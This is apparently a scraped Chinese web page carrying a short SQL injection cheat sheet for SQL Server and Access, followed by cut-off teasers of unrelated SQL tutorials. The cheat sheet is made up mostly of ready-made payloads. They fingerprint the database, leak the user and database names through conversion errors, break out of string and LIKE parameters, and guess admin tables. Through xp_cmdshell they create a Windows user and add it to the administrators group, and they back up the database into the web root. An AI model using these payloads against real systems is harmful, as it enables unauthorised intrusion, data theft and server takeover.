sql注入
判断数据库类型
(select count(*) fromsysobjects)>0 //sql数据库
(select count(*) from msysobjects)>0 //access数据库
得到Sql用户名
user>0
Conversion failed when converting the nvarchar value 'dbo' to data type int.
重构SQL语句
整数型
(A) ID=49 ID=49 And [ 查询条件] ,即是生成语句:
Select * from 表名 where 字段=49 And [ 查询条件]
字符型
(B) Class= 连续剧
注入的参数为Class= 连续剧’ and [ 查询条件] and ‘’= ’ ,
(C)like ’% 关键字% ’
keyword= ’ and [ 查询条件] and ‘%25 ’= ’,
猜表名
And (Select Count(*) from Admin)>=0
猜长度
and (select top 1 len(username) from Admin)>0
新建用户名
exec master..xp_cmdshell "net user name password /add"--
master..xp_cmdshell "net localgroup administrators name /add"--
db_name()>0 前面有个类似的例子and user>0 ,作用是获取连接用户名,db_name() 是另一个系统变量,返回的是连接的数据库名。
backup database 数据库名 to disk= ’c:\inetpub\wwwroot\1.db ’;--
and (Select Top 1 name from sysobjects where xtype='U' )>0 前面说过,sysobjects 是SQLServer 的系统表,存储着所有的表名、视图、约束及其它对象,
相关文档:
if exists (select * from dbo.sysobjects where id = object_id(N'[dbo].[p_movefile]') and OBJECTPROPERTY(id, N'IsProcedure') = 1)
drop procedure [dbo].[p_movefile]
GO
/*--移动服务器上的文件
不借助 xp_cmdshell ,因为这个在大多数时候都被禁用了
--邹建 2004.08(引用请保留此信息)--*/
/*--调用示例 ......
在2005中有同义词与复制的概念
同义词的主要作用是:
一:宿短对象的名称,减少工作人员书写的时间,提高效率。我们知道访问数据库一个对象的通常最全的对象名称是:服务器名称。数据库名称。架构名称。对象名称
二:同步数据。 ......
PL/SQL实例分析
第五章
1、PL/SQL实例分析
1)在【SQLPlus Worksheet】中直接执行如下SQL代码完成上述操作。(创建表)
―――――――――――――――――――――――――――――――
CREATE TABLE "SCOTT"."TESTTABLE" ("RECORDNUMBER" NUMBER(4) NOT NULL, "CURRENTDATE" DATE NOT NULL)
TABLESPACE "SYSTEM ......
1、说明:复制表(只复制结构,源表名:a 新表名:b) (Access可用)
法一:select * into b from a where 1 <>1
法二:select top 0 * into b from a
2、说明:拷贝表(拷贝数据,源表名:a 目标表名:b) (Access可用)
insert into b(a, b, c) select d,e,f from b;
3、说明:跨数据库之间表的拷贝(具体数据使用 ......